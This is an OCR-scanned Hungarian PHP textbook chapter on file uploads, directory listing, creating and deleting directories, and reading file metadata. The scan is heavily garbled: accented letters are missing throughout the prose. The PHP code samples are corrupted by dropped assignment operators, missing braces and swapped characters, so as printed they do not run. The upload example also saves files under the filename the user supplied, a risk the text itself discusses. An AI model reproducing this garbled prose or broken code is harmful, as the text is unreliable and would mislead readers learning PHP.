Kpek ellltsa

23

Munkamenet-vezrls PHP-ben

24

Tovbbi hasznos lehetsgek PHP-ben

19
A fjlrendszer s

kiszolgl elrse

Az Adatok trolsa s visszakeresse cm 2. fejezetbl megrudruk, hogyan olvashatunk adatokat a webszervererr lv fjlokbl,

illetve hogyan rhatunk azokba. A mostani fejezetben olyan PHP fggvnyekkel ismerkedhetnk meg. amelyek lehetv teszik,
hogy kapcsolatba lpjnk a kiszolgln lv fjlrendszerreL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:

Fjlfeltlts PHP-ben
Knyvtrfggvnyek hasznlata
Kiszolgln lv fjlok elrse s kezelse
Programok futtatsa a kiszolgln
Szerverkrnyezeti vltozk hasznlata
A fggvnyek hasznlatt egy pldn keresztl fogjuk megvizsglni. Kpzeljnk el egy olyan helyzetet, amikor gyfelnk azt

szeretn, hogy maga tudja feltlteni a weboldala tartalmnak egy rszt - pldul a cgvel kapcsolaros friss hreket! (Vagy
egyszeren csak az FTP-nl vagy SCP-nl bartsgosabb felletet szereme magnak.) Az egyik lehetsges megolds, ha meg
engedjk neki, hogy egyszer szveges fjlknt feltltse a tartalmat. Ezt kveten a fjlok egy PHP-ben kialaktott sablonon
keresztl lesznek elrhetk az oldalon (az Objektumorientlt PHP cm fejezetben ltott megoldshoz hasonlan).
Mieltt elmlyednnk a fjlrendszer fggvnyeiben, nzzk meg rviden, hogyan mkdik a fjlfeltlts!

Fjlfeltlts
A PHP egyik igen hasznos jellemzje a fjlfelelts tmogatsa. Ahelyett, hogy a kiszolglrl HTTP-n keresztl a bngsz

be mennnek, feltltskor pont fordtott irnyban kzlekednek a fjlok. A feltltst ltalban HTML rlappal valstjuk meg.
A pldnkban hasznlt rlapot a 19.1 brn lthatjuk.

j fjlok feltltse
,........ r::: :::-:: = 1 ..... l

19.1 bra: A fjlfeltltshez hasznlt HTML rlap a szoksos rlapoktl eltr mezkkel s meztpusokkal rendelkezik.

Lthatjuk, hogy a felhasznl az rlap szvegdobozba rhatja be az ltala helyileg elrhet fjlokat, illetve a.T
, allzs"
gombra kattintva tallzhat azok kztt. Rvidesen ltni fogjuk, hogy lehet ltrehozni ezt az rlapot. A fjlnv megadsa utn
a

felhasznl a.,Fjl kldse" gombra kattint, s a fjl feltltdik a kiszolglra, ahol PHP kd vrja.
Mieltt belemerlnnk a fjlfelclts plda rszleteibe, fontos megemltennk, hogy a php.ini fjl ngy direktvja szab

lyozza azt a mdot, ahogyan a PHP a fjlfeltltst kezeli. A 19.1 tblzatban ezeket a direktvkat, valamint alaprtelmezett
rtkket s lersukat talljuk.

294

19. fejezet

19.1 tblzat: A php.i ni fjlfeltltsi

19

Direktva

belltsai

Lers

Alaprtelmezett
rtk

file_uploads
upload_tmp_dir

upload_max_filesize

post_max size

A HTTP fjlfeltltst engedlyezi. Lehetsges rtkei On s Off.


Azt a knyvtrat hatrozza meg, amelyben a feldolgozsra vr
fjlok tmenetileg eltroldnak. Ha nincs megadva, a rendszer az
alaprtelmezett rtket hasznlja.
A feltlthet fjlok legnagyobb mrett szablyozza. Ha a feltlteni
kvnt fjl ennl nagyobb, a PHP egy O bjtos helykitlt fjlt r
helyette.
A PHP lral elfogadhat POST adar legnagyobb mrert hatroz
za meg. Az up load_max_filesize direktivban meghatrozott
rtknl nagyobbnak kell lennie, mivel ez a POST mdszerrel
kldtt sszes adat (kztk a feltltend fjlok) legnagyobb mre
rt szablyozza.

On
NULL

2M

8M

A fjlfeltlts HTML kdja


A fjlfeltlts vghezvitelhez kifejezetten ebbl a clbl ltez HTML szintaktikt kell hasznlnunk. Az rlap HTML kdjt
a 19.1 pldakdban lthatjuk.
19.1 pldakd: feltoltes.html-A fjlfeltltshez

hasznlt HTML rlap

<html>
<head>
<title>Adminisztrci

j fjlok feltltse</title>

</head>
<body>
<hl>j fjlok feltltse</hl>
<form action="feltoltes.php" method="post" enctype="multipart/form-data"/>
<div>
<input type="hidden" name="MAX_FILE_SIZE" value="lOOOOOO" />
<label for="felhasznaloi fajl">Feltoltend fjl:</label>
<input type="file" name="felhasznaloi fajl" id="felhasznaloi fajl"/>
<input type="submit" value="Fjl kldse"/>
</div>
</form>
</body>
</html>

Figyeljk meg, hogy az rlap a POST metdust hasznlja! A fjlfeltltsek a Netscape Composer s az Amaya ltal tmoga
tott PUT mdszerrel is mkdnek, de ebben az esetben jelentsen mdosrani kellene a kdot. A GET metdus fjlfeltltsekre
nem hasznlhat.
Az rlap az albbi jdonsgokat tartalmazza szmunkra:
A <form> cmkben be kell lltanunk az enctype="multipart/form-data" tulajdonsgot, hogy kzljk a ki
szolglval: a szoksos informci mellett fjl is rkezik.
Szksgnk van a feltlthet fjlok maximlis mrett meghatroz rlapmezre. Jelen esetben rejtett mezvel dolgo
zunk:
<input type="hidden" name="MAX_FILE_SIZE" value="

1000000">

Jegyezzk meg, hogy a MAX_FILE_SIZE rlapmez opcionlis, mivel ezt az rtker szerveroldalon is bellthatjuk! Ha
viszont az rlapban hasznljuk, a mez neve MAX_FILE_SIZE kell, hogy legyen. A felhasznJk legfeljebb az itt (bj-

A fjlrendszer s a kiszolgl elrse

295

tokban) megadott mret fjlokat tlthetik fel. Alkalmazsunk jellegtl fiiggen az rtket llthatjuk ennl kisebbre, de
nagyobbra is.

19

Meg kell adnunk azt is, hogy a beviteli adat tpusa file:
<input type="flle" name=" felhasznaloi fajl" id=" felhasznaloi_fajl"/>

Brmilyen nevet vlasztharunk a fjlnak, de ne felejtsk el, mivel ezt a nevet hasznlva fogjuk elrni a fjlt az azt fogad
PHP kdbL

Megjegyzs: Mieltt tovbblpnnk, rdemes megemlteni, hogy a PHP egyes verziiban biztonsgi sebezhetsgeket talltak
afjlfeltlts kdjban. Ha gy dntnk, hogy fjlfeltltst hasznlunk lesben mkd kiszolglnkon, gyeljnk, hogy a PHP
legfrissebb vltozatt futtassuk, s egyik szemnket tartsuk llandan a megjelen javtsokonl Nem szksges, hogy mindez
visszatartson bennnket e hasznos lehetsg hasznlattl, mindssze kell gondossggal kell eljrni kdunk megrsakor, s
korltozzuk a fjlfeltlts elrhetsgt pldul az oldal rendszergazdira s a tartalomkezelsrt felels szemlyekre!

A fjlt kezel PHP

kd megrsa

A fjlt fogad PHP kd megrsa viszonylag magtl rtetd.


Feltltskor a fjl azonnal egy, a php.ini upload_tmp_dir direktvjban meghatrozott, ideiglenes knyvtrba kerl.
Ahogy a 19.1 tblzatban mr jelezrk, ha a direktva nincsen bellrva, alaprtelmezsben a kiszolgl els szm ideiglenes
knyvtra jn a kpbe. Ha a kd fUttatsnak befejezse eltt nem helyezzk t, nem msoljuk le vagy nem nevezzk t a fjlt,
akkor a kd vgn trldni fog az ideiglenes knyvtrbl.
A PHP kdunkban kezelend adatok a $ _FILES szupergloblis tmbben troldnak el. Ha bekapcsoltuk a register_
globals belltst, kzvetlen vltozneveken keresztl is elrhetjk ezeket az adatokat. Azonban pontosan ez az a terlet,

ahol rendkivl fontos, hogy a register_globals ki legyen kapcsolva, vagy legalbbis gy tegynk, mintha ki lenne iktarva,
s a szupergloblis tmbt hasznljuk, illerve hagyjuk figyelmen kvl a globlis vltozkat.
A $_FILES tartalma a HTML rlap <file> cmkjnek nevvel lesz eltrolva. Mivel rlapelemnk neve
felhasznaloi_fajl, a tmbbe

az

albbi tartalom kerl:

A$_FILES ['felhasznaloi_faj l' J [o tmp_nameo J-ben trolt rtk mutatja a helyet, ahol a fjlt

webszervernkn ideiglenesen eltrolruk.


A $_FILES [o felhasznaloi_fajl o) [o name o ]-ben trolt rtk a fjlnak a felhasznl rendszerben hasznlt
neve.
A $_FILES [o felhasznaloi_fajl o J [o size ]-ban trolt rtk a fjl bjtokban kifejezett mrete.
o

A $_FILES [0 felhasznaloi_faj l o J [0 type o ]-ban trolt rtk a fjl MIME-tpusa- pldul text/plain
vagy image/gif.
A $ _FILES [o felhasznaloi_fajl' J [0 error ]-ban trolt rtk a fjlfeltltssel kapcsolatos esetleges hiba
0

kdokat tartalmazza. Ez a fUnkci a PHP 4.2.0-s verzijban jelent meg.


Feltve persze, hogy tudjuk, hol van a fjl, s hogy hvjk, most mr valami hasznos helyre msolhatjuk. A kd fUttatsnak
a

vgn az ideiglenes fjl trldik. Ha szeretnnk megtartani, t kell helyezni, vagy t kell nevezni.
A plda kedvrt friss hrekknt fogjuk felhasznlni a feltlttt fjlokat, ezrt eltvoltjuk bellk

az

esetlegesen ottma

radt cmkket, majd egy hasznlhatbb knyvtrba (feltoltesek/ ) helyezzk t ket. Ne feledkezznk meg arrl, hogy
a

webszerver gykrknyvtrban ltre kell hoznunk uploads nev mappt!


Az eddig vzolt feladatot ellt kdot a 19.2 pldakd tartalmazza.

19.2 pldakd: feltoltes. php-A

HTML rlapbl a fjlokat fogad PHP kd

<html>
<head>
<title>Feltlts ... </title>
</head>
<body>
<hl>A fjl feltltse ...</hl>
<?php
if

( $ FILES [0 felhasznaloi faj l o J [o error o J > O)

296

19. fejezet

echo 'Hiba trtnt:

';

switch ($ FILES['felhasznaloi_faJl') ['error'))

19

case 1:

echo 'A fjlmret meghaladja a maximlisan feltlthet mretet';

case 2:

echo 'a fjlmret meghaladja a maximlis mretet';

case 3:

echo 'A fjl feltltse csak rszlegesen sikerlt';

case 4:

echo 'Nem lett fjl feltltve';

case 6:

echo 'Nem lehet feltlteni a fjlt:

break;
break;

break;

break;
Nincs ideiglenes mappa meghatrozva';

break;
case 7:

echo 'Nem sikerlt a feltlts:

Nem lehetett a lemezre rni';

break;

exit;
ll Megfelel MIME-tipus a fjl?
if ($_FILES['felhasznaloi_fajl') ['type')

echo 'Hiba:

!= 'textlplain')

a fjl nem egyszer szveg';

exit;

ll tegyk a fjlt a neknk tetsz helyre!


$feltolt endo_fajl

'feltoltesekl' . $ FILES[ 'felhasznaloi fajl' l ['name' l

if (is uploaded_file($_FILES['felhasznaloi fajl') ['tmp_name')))


if ( !move_uploaded_file($_FILES['felhasznaloi_fajl' J [ 'tmp_name' l,

echo 'Hiba:

$feltoltendo_fajl))

Nem sikerlt a fjlt a clmappba thelyezni';

exit;

else
echo 'Hiba:

Fjlfeltltsi tmads lehetsge.

Fjlnv:

';

echo $ FI LES [ 'felhasznaloi fajl' J ['name' J ;


exit;

echo 'A fjlfeltlts sikerlt<br><br>';

ll tvoltsuk el a fjl tartalmbl az esetleges HTML s PHP cmkket!


$tartalom = file_get_contents($feltoltendo_fajl);
$tartalom = strip_tags($tartalom);
file_put_ contents($_FILES['felhasznaloi_fajl' J ['name' l,

$tartalom);

ll mutassuk meg a feltlttt fjlt'


echo '<p>A feltlttt fjl tartalmnak elnzete:<brl><hrl>';
echo nl2br($tartalom);
echo '<brl><hrl>';

A fjlrendszer s a kiszolgl elrse

297

?>
</body>

19

</html>

rdekes mdon a fenti kd nagy rsze hibaellenrzs. A fjlfelelts potencilis biztonsgi kockzatokkal jr, s ahol le
hetsges, mrskelni kell a kockzacokac. A lehet leggondosabban eljrva ellenrizni kell a felelttt fjlt, hogy megjelentse
biztonsgos legyen ltogatink szmra.
Menjnk vgig a kd fbb rszein! Elszr is ellenrizzk a$ _FILES ['felhasznaloi_faj l' l ['error' l ltal visz
szaadott hibakdot! Ezekhez a hibakdokhoz egy-egy lland lett rendelve. A lehetsges hibakdok, a hozzjuk tartoz kons
tans, illetve jelentsk a kvetkez:
UPLOAD_ERROR_OK,

az rtke 0, azt jelenti, hogy nem trtnt hiba.

UPLOAD_ERR_INI_SIZE,
upload_max_filesize

az rtke l, azt jelenti, hogy a felelttt fjl mrete meghaladja a php . ini fjlban az

direktva ltal meghatrozott rtket.

UP LOAD_ERR_ FORM_ SI ZE,


SIZE

az rtke 2, azt jelenti, hogy a feltlttt fjl mrete meghaladja a HTML rlap MAX_FILE_

elemben meghatrozott, maximlis rtket.

UPLOAD_ERR_PARTIAL,

az rtke 3, azt jelenti, hogy a fjl csak rszlegesen lett felclcve.

UPLOAD_ERR_NO_ FILE,

az rtke 4, azt jelenti, hogy nem trtnt fjlfeltlts.

UPLOAD_ERR_NO_TMP_DIR,

az rtke 6, azt jelenti, hogy nem lett a php. ini fJlban ideiglenes knyvcr meghat

rozva (a PHP 5.0.3-as verzirl rhet el).


UPLOAD_ERR_CANT_WRITE,

az rtke 7, azt jelenti, hogy a fjl lemezre rsa sikertelen (ez a hibakd a PHP 5.1.0-s

verzijban lett bevezetve).


Ha a PHP egy rgebbi verzijt kvnjuk hasznlni, a PHP kziknyvben callhat mintakdokkal sajt kezleg hajthatjuk
vgre ezeket az ellenrzseket.
Lehetsgnk van a MIME-cpus ellenrzsre. Mivel pldnkban csak szveges fjlokat kvnunk feltlteni, a MIMErpus ellenrzshez gyz<ljnk meg arrl, hogy a$ _FILES [ 'felhasznaloi_faj l' l ['type' l

a text/plain cpust

tartalmazza! Mindez csak hibakeress, nem biztonsgi ellenrzs. A MIME-cpust a felhasznl bngszje llaptja meg a ki
szolglnak tadoct fjl kicerjesztsbL Ha a rosszindulat felhasznlknak brmi elnye szrmazna abbl, hogy nem a valdi
kiterjesztst adjk t, akkor knnyen megtehetnk azt.
Ezt kveten ellenrizhetjk, hogy a megnyitni kvnt fjl tnylegesen fel lett-e tltve, nem pedig olyan fjlrl van sz, mint
pldul az l e tc/passwd. Rvidesen visszatrnk mg erre a krdsre.
Ha idig minden rendben ment, akkor bemsolhatjuk a fjlt a beillesztend fjlokat tartalmaz knyvtrba. Pldnkban
a feltol tesek/
a

knyvtrat hasznljuk erre; a webes dokumentumknyveron kvl helyezkedik el, ezrt megfelel hely

mshova beillesztend fjlok szmra.


Most mr megnyithatjuk a fjlt, a s trip _ta gs

()

fggvnnyel eltvoltjuk belle a bennmaradt ksza HTML vagy PHP

cmkket, majd visszarhatjuk. Vgezetl jelentsk meg a tartalmr, hogy a felhasznl lssa, sikeresen felelttte a kvnt fjlt!
A 19.2 brn a kd egy (sikeres) futtatsnak eredmnyt lthatjuk.
2000 szeptemberben kzz tettek egy olyan biztonsgi rst (exploicoc), amely lehetv tette a crackereknek, hogy a fjlfel
tlt kdokat megbolondrva feltlttt fjlknt tneessk fel a PHP eltt a helyi fjlokac. Eze a biztonsgi rst a BUGTRAQ
levelezlistjn dokumentltk. A hivatalos biztonsgi tancsokat tartalmaz dokumentumot a BUGTRAQ archvumban
talljuk meg a hrcp://lists.insecure.org/bugcraq/2000/Sep/0237.hrml cmen.

ltof ..--. --
'I--
m--: 't:!
......

)40

fjl feltltse...

. .....

,. .......Illi
& ..... llllljlllkw.

19.2 bra: A

msols s tformzs utn megjelentett fjl visszaigazolja a felhasznlnak a sikeres feltltst.

Alkalmazsunk sebezhetsgc elkerlend, ez a kd az is_uploaded _file

()

s a move _uploaded _file

()

fggvnyt

hasznlja, ami szavacolja, hogy a feldolgozand fjlokat tnylegesen felclcttk, nem pedig olyan helyi fjlok, mint pldul az l
etc/passwd.

Ezek a fggvnyek a PHP 4.0.3-as verzijtl rhetk el.

298

19. fejezer

Ha nem kell gondossggal rjuk meg a feltltst kezel kdot, egy rosszindulat ltogat sajt ideiglenes fjlnevr hasznlva
rveheri kdunkat, hogy feltltttknt kezelje a fjlt. Mivel a fjlfeltlt kdok nagy rsze a feltlttt adarokat megjelenti a fel

19

hasznlnak, vagy ksbbi berlts cljbl eltrolja azokat, ez akr azt is eredmnyezheti, hogy a ltogatk a webszerver ltal
olvasni kpes brmely fjlhoz hozzfrhetnek. Ez mg olyan titkos fjlokat is rinthet, mint az letclpasswd vagy az adatb
zisjelszavakar tartalmaz PHP forrskd.

A gyakori feltltsi problmk megelzse


A fjlfeltlts megvalstsa sorn gondoljunk a kverkezkre:
Az elz plda felttelezi a felhasznlk korbbi hirelesrsr. Nem szabad megengedni, hogy brki feltlehessen fjlokat
az oldalunkra.
Ha nem megbzhat vagy nem hitelesrerr felhasznlk szmra is engedlyezzk a fjlfelrltst, rdemes paranois
varossggal kzelreni a fjlok rarralmhoz. Egyltaln nem szeretnnk, ha rosszindulat kdot tltennek fel s futtar
nnak rendszernkn. Legynk vatosak, de ne csak a fjl tpusr s tartalmr, hanem mg a nevr illeten is! rdemes
a feltlttt fjlokat biztonsgosnak vlt mdon tnevezni.
Megakadlyozand, hogy a felhasznlk kiszolglnk knyvrrai kzrr bngsszenek (directory surfing),
a basename () fggvnyt hasznlva mdosrharjuk a bejv fjlok nevt. A fggvny eltvolrja a fjlnv rszeknt t
adott elrsi tvonalat. Az elrsi tvonal birtokban a rmadk a kiszolgl klnbz knyvrraiba rakhatnak fjlokat.
Nzznk egy pldt a fggvny mkdsre:
<?php
$eleresi_utvonal

"lhomelhttpdlhtmllindex.php";

$fajll

basename($eleresi_utvonal);

$fajl2

basename($eleresi_utvonal,

".php");

print $fajll . "<brl>";

ll a $fajll rtke "index.php"

print $fajl2 . "<brl>";

ll a $fajl2 rtke "index"

Windows-alap rendszer esern figyeljnk, hogy \ helyerr \\-t vagy l-t hasznljunk az elrsi tvonalaknl!
Szmos klnbz problmt verher fel, ha - pldnkhoz hasonlan - a felhasznl ltal megadott fjlnevet hasznljuk.
A legkzenfekvbb problma a meglv fjlok nem kivnt fellrsa abban az esetben, amikor a felhasznl mr ltez
nvvel tlti fel a fjlt. Nem ennyire egyrtelm, de legalbb ugyanekkora gondor okozhat, hogy a klnbz opercis
rendszerek, sr a klnbz nyelvi bellrsok is ms karakterkszletek hasznlatr engedik a fjlnevekben. Knnyen
elfordulhat, hogy a feltlttt fjl nevben a rendszernk ltal nem megengedett karakter fordul el.
Ha nem sikerl a fjlfeltltst mkdsbe hozni, ellenrizzk php.ini fjlunkat l Elfordulhat, hogy az up load_
tm p_di r direktvban meg kell adnunk egy olyan knyvtrat, amelyhez hozzfrssel rendelkeznk. Ha nagyobb fjlo

kar szeremnk feltlteni, elkpzelhet, hogy a memory _limi t bellrsr is mdosrani kell; ez hatrozza meg ugyanis
a feltlthet fjlok maximlis mrett (bjrban). Az Apache-nl bellrhat az idtllps (timeout) s a tranzakci m
rerkorlrja is - ha problmink addnak a nagy fjlok felrltsvel, rdemes ezeket is ellenrizni.

Knyvtrfggvnyek hasznlata
Miurn a felhasznlk feltltttk llomnyaikat, hasznos lehet szmukra, ha meg tudjk tekinteni, hogy mir is tltttek fel,
illetve mdosrani tudjk ezeker a tartalmakat. A PHP szmos, erre a clra alkalmas, a knyvtrakkal s a fjlrendszerrel kap
csolatos munkt leherv tev fggvnnyel rendelkezik.

Olvass knyvtrakbl
Elszr is rjuk meg a kdot, ami lehetv teszi a feltlttt tartalmak knyvrrai kzrri tallzsr! Az ilyen tallzs viszonylag
egyszeren megvalsthat PHP-ben. A 19.3 pldakd egy ilyen clra hasznlhat, egyszer kdot tartalmaz.

19.3 pldakd: konyvtar tallozas.php -A feltlttt fjlok


_

<html>
<head>
<title>Tallzs a knyvtrak kztt<ltitle>

listzsa

A fjlrendszer s a kiszolgl elrse

299

</head>
<body>

19

<hl>Tallzs</hl>
<?php
$aktualis konyvtar
$konyvtar

'feltoltesek/';

opendir($aktualis konyvtar);

echo "<p>A feltolts clkonyvtra: $aktualis konyvtar</p>";


echo '<p>A knyvtr tartalma:</p><ul>';

while(false

!== ($fajl = readdir($konyvtar)))

ll a . s .. knyvtrak kiszrse
if($fajl

!= ". "

&&

$fajl

!=

"

.. ")

l
echo "<li>$fajl</li>";

echo

'</ul>';

closedir($konyvtar);
?>
</body>
</html>

Ez a kd az opendir (),a elosedir ()s a readdir () fggvnyt hasznlja.


Az opendir() fggvny olvassra nyitja meg a knyvtrat. Hasznlata a fjlokbl olvassra alkalmas fopen () fggvny
hez hasonl. Fjlnv helyett itt azonban a knyvtrnevet adjuk t:
$konyvtar

opendir($aktualis_konyvtar);

Hasonlan ahhoz,ahogy

az

fopen( ) fggvny fjlmutatt (file handle) ad vissza, ez a fggvny knyvtrmutatval

(directory handie) tr vissza.


Megnyitott knyvtrbl a readdir($konyvtar) meghvsval olvashaguk ki a fjlneveket. Ha a knyvtrban mr nincs
rbb fjl, amit kiolvashatnnk, a fggvny visszarrsi rrke false lesz. Jegyezzk meg,hogy a fggvny akkor is a hamis r
rker adja vissza, ha
while(false

"

1==

O " nev fjlt olvas be! Eze elkerlend, kifejezetten ceszceljk, hogy a visszatrsi rrk ne hamis legyen:
($fajl = readdir($konyvtar)))

Ha befejezzk a knyvcr kiolvassc, a elosedir($konyvtar) meghvsval zrhaguk be. Ez a fjlkezels esetben


hasznlc fclose () fggvny meghvsval egyenrtk.
A 19.3 brn a knyvtrt bngsz kd kimenetre ltunk pldt.

Tallzs
,. .....
AW ......
. _..

.,...-J:-
....,m

19.3 bra: A

knyvtr listzsa a kivlasztott knyvtrban lv sszes fjlt megjelenti.

300

19. fejezet

A 19.3 brn lthathoz hasonl listkban ltalban a .


jelenik. Pldnkban

19

if($fajl

az

!= " . "

( az aktulis knyvtr)

s a . .

(egy szinttel feljebbi) knyvtr is meg

albbi kdsorral kivettk ezeket a knyvtrakat a megjelentendk kzl:


&&

$fajl

!= " .

")

Ha kitrljk ezt a sort, a . s a .. knyvtr is hozzaddik a megjelentett fjllisthoz.


Ha ilyen mdszerrel lehetv tesszk a felhasznlk szmra a knyvtrak kztti tallzst, rdemes korltozni az elrhet
knyvtrak tartomnyt, hogy ne tudjanak olyan knyvtrakba eljutni, amelyek egybknt tiltortak szmukra.
Ide kapcsold s esetenknt igen hasznos fggvny a rewinddi r($konyvtar) , amellyel egyszeren visszaugorhatunk
a knyvtrban lv els fjlra.
A fenti fggvnyek alternatvjaknt a PHP dir osztlyt is hasznlhatj uk. Az osztly handle s path attribtummal,
illetve read(), close() s rewind () metdussal rendelkezik, amelyekkel a fent bemutatott fggvnyekkel megegyez ered
mnyt rhetnk el.
A 19.4 pldakdban a dir osztlyt hasznlva rtuk t a fenti pldt.
19.4 pldakd: konyvtar tallozas2. php
_

- Knyvtrlistzs a dir osztly hasznlatval

<html>
<head>
<title>Knyvtrak tallzsa</title>
</head>
<body>
<hl>Tallzs</hl>
<?php
$konyvtar = dir("feltoltesek/");
echo "<p>A mutat: $konyvtar->handle</p>";
echo "<p>A feltlts clknyvtra: $konyvtar->path</p>";
echo '<p>A knyvtr tartalma:</p><ul>';
while(false

!== ($fajl = $konyvtar->read()))

/la . s .. knyvtrak kiszrse


if($fajl

!= " . "

&&

$fajl

1=

" .. )
"

echo "<li>$fajl</li>";
echo '</ul>';
$konyvtar->close();
?>
</body>
</html>

A fenti pldban nem rendeztk a fjlneveket, de ha rendezett listra lenne szksgnk, a PHP 5-s verzijban megjelent
scandir () fggvnyt hasznlhatjuk erre a clra. Ez tmbben trolja el a fjlneveket, s bc szerint emelked vagy cskken

sorba rendezi ket. Mkdsre a 19.5 pldakdban ltunk pldt.


19.5 pldakd: scandir. php-A fjlnevek

bc szerinti rendezse a scandir() fggvnnyel

<html>
<head>
<title>Knyvtrak tallzsa</title>
</head>
<body>
<hl>Tallzs</hl>
<?php
$konyvtar = 'feltoltesek/';

A fjlrendszer s a kiszolgl elrse

$fajls l

scandir($konyvtar);

$fajls2

scandir($konyvtar,

echo "<p>A feltlts clknyvtra: $konyvtar</p>";

foreach($fajlokl as $fajl)

{
1=

"."

&&

$fajl

!= " .. ")

echo "<li>$fajl</li>";

echo

'</ul>';

echo "<p>A feltlts clknyvtra: $konyvtar</p>";


echo '<p>A knyvtr tartalma bcrendben (cskken) :</p><ul>';

foreach($fajlok2 as $fajl)

{
if($fajl

!= " .

"

&&

$fajl

!= " .. ")

echo "<li>$fajl</li>";

echo

'</ul>';

?>
</body>
</html>

lnformciszerzs az aktulis knyvtrrl


A fjl elrsi tvonalnak birtokban tovbbi informcikat gyjthetnk.
A dirname ( $eleresi _utvonal) s basename ($eleresi_utvonal) fggvny az elrsi tvonal knyvtr rszt,
illetve a fjlnevet adja vissza. Ezek az informcik a knyvtrak tallzsra szolgl kdban lehetnek hasznosak, klnsen
abban az esetben, ha jelentssei br knyvtr- s fjlnevekbl ptnk sszetett knyvtrstruktrt.
A knyvtrlistzsnl akr azt is megjelentherjk, hogy mennyi szabad hely marad a fj!feltltsekre. Ehhez a disk_
free_space ( $eleresi_ utvonal) fggvnyt kell hasznlnunk. Ha tadjuk a fggvnynek a knyvtr elrsi tvonalt,

a knyvtrat tartalmaz lemezen (Windows), illetve fjlrendszeren (Unix) elrhet szabad bjtok szmt adja vissza.

Knyvtrak ltrehozsa s trlse


Tl azon, hogy passzv mdon informcikat gyjtnk a knyvtrakrl, a PHP mkdir () s rmdir () fggvnyvel ltrehoz
harunk, illetve trlhetnk knyvtrakat. Csak azokon az elrsi tvonalakon lehetsges knyvtrakat ltrehozni vagy trlni,
amelyekhez a kdot futtat felhasznlnak hozzfrse van.
Az mkdir() hasznlata bonyolultabb, mint gondolnnk. Kr paramtert fogad: a ltrehozni kivnt j knyvtr elrsi
tvonalt (amelynek az j knyvtr nevt is tartalmaznia kell) s a knyvtrhoz rendelni kvnt jogosultsgokat. Nzznk egy
pldt:
mkdir("/tmp/testing",

l);

echo '<p>A knyvtr tartalma bcrendben (emelked) :</p><ul>';

if($fajl

30 l

0 777);

Mindazonltal egyltaln nem biztos, hogy vgeredmnyknt az ltalunk megadott jogosultsgokat fogjuk kapni. A tny
leges jogosultsgok az aktulis umask s az ltalunk megadott rtk AND mveleti jellel trtn sszekapcsolsbl addnak.
Ha pldul 022 az umask, 0755-s jogosultsgokat kapunk eredmnyl. (Az umask egy adott knyvtr vagy fjl hozzfrsi
jogosultsgait bellt Unix parancs. Ugyanezen a nven, megegyez funkcival megtallhat Linux alatt, illetve PHP-ben az
umas () beptett fggvny formjban.)

19

302

19. fejezet

Ezt elkerlend rdemes lehet a knyvtr ltrehozsa eltt nullzni az umaskot, pldul gy:
$elozo_umask = umask(O);

19

0777);

mkdir("/tmp/testing",
umask($elozo_umask);

Ez a kd az umask()fggvnyt hasznlja, amellyel az umask aktulis rtkt ellenrizhetjk s vltoztathatjuk meg. Az


aktulis umask rtket a neki radott rtkre vltoztatja, visszatrsi rtke pedig a rgi umask,vagy,amennyiben paramter
nlkl hvjuk meg. egyszeren az aktulis umaskot adja vissza. rdemes megemlteni,hogy windowsos rendszer esetn az
urnask()fggvny nem mkdik.

Az rmdir ()fggvny trli a knyvtrat, pldul:


rmdir("/tmp/testing");

vagy
rmdir("c:\\tmp\\testing");

A trlni kivnt knyvtrnak resnek kell lennie.

A fjlrendszer elrse
A knyvtrak megtekintsn s a rjuk vonatkoz informcik sszegyjtsn tlmenen webszervernk fjljaival is dolgozha
tunk, illerve informcikat gyjthetnk azokrl. Korbban mr megnzrk, hogyan rhatunk a fjlokba, illetve hogyan olvasha
tunk bellk. A fjlokkal vgzend munkhoz ugyanakkor sok ms fjlkezel fggvny is rendelkezsnkre ll.

Fjlinformcik gyj tse


A knyvtrtallz kd fjlokat beolvas rszt a kvetkezkppen mdosthatjuk:
while(false

1== ($fajl

readdir($konyvtar)))

echo '<a href="fajlreszletek.php ?file='.$fajl.'">'.$fajl.'</a><br>';

Ezt kveten a fajlreszletek.php kd megrsval tovbbi informcikat kaphatunk az egyes fjlokrL A kd tar
talmt a 19.6 pldakdban talljuk. Egy figyelmeztets e kddal kapcsolatban: az irt hasznltfggvnyek egy rsze, kztk
a posix_getpwuid (),a fileowner() s a filegroup ()Windows alatt nem vagy nem megbzhatan tmogatott!
19.6 pldakd: fajlreszletek.php- Fjlllapotfggvnyeks azok eredmnye
<html>
<head>
<title>A fjl rszletes adatai</title>
</head>
<body>
<?php
$aktualis konyvtar

'feltoltesek/';

$fajl = basename($aktualls konyvtar);

// knyvtr-informcik eltvoltsa

a biztonsgrt

echo '<hl>A fjl rszletes adatai: '.$fajl.'</hl>';

echo '<h2>Fjladatok</h2>';
echo 'Utols megnyits idpontja: '.date('j F Y H:i',

fileatime($fajl)).'<br>';

echo 'Utols mdosts idpontja: '.date('j F Y H:i',

filemtime($fajl)).'<br>';

$felhasznalo = posix_getpwuid(fileowner($fajl));
echo 'A fjl tulajdonosa: '.$felhasznalo['name'].'<br>';

$csoport = posix_getgrgid(filegroup($fajl));
echo 'Fjlcsoport: '. $csoport['name' l .'<br>';

A fjlrendszer s a kiszolgl elrse

echo 'Fjljogosultsgok:

'.decoct(fileperms($fajl)).'<br>';

echo 'Fjltpus:

'.filetype($fajl).'<br>';

echo 'Fjlmret:

'.filesize($fajl).' bjt<br>';

19

echo '<h2>Fjltulajdonsgok ellenrzse</ h2>';

echo 'is_dir:

' (is_dir($fajl)? 'true' :

echo 'is_executable:
echo 'is_file:
echo 'is_link:

'false').'<br>';

'.(is_executable($fajl)? 'true' :

'.(is_file($fajl)?

'true' :

'.(is_link($fajl)?

'false').'<br>';

'false').'<br>';

'true' :

'false').'<br>';

echo 'is_readable:

'.(is readable($fajl)? 'true' :

'false').'<br>';

echo 'is writable:

'.(is_writable($fajl)? 'true' :

'false').'<br>';

?>
</body>
</html>

A 19.4 bra a 19.6 pldakd futtatsnak egy lehetsges eredmnyt mutatja.

to

s.or-

!jlool

....... .......

_,.

-.;:;------,._,___ -::e
A

fjl rszletes adatai: feltoltesek

Fijlada1ok
o..D...,.-IlOIOil-13
t.-..o....._l4s..-...lOIOIUI
Allijl......,_......,..._
F---dolo

f-40"17
r.,._ ..
F,...,.,_$6bf:
Fijlhtlajdobsgok ellu6nhe
--
......
_-o:;.
,_"__

19.4 bra:

Fjlrendszerre vonatkoz informcik megjelentse valamely fjlrl. A jogosultsgokat itt oktlis formban lyuk.

Vizsgljuk meg egyenknt, mi a feladatuk a 19.6 pldakdban hasznlt fggvnyeknek! Ahogy mr emltettk,
a basename ( ) fggvny a knyvtr nlkli fjlnevet adja vissza. (A dirname ( ) fggvnnyel ezzel szemben a knyvtr fjlnv
nlkli nevt kapjuk meg.)
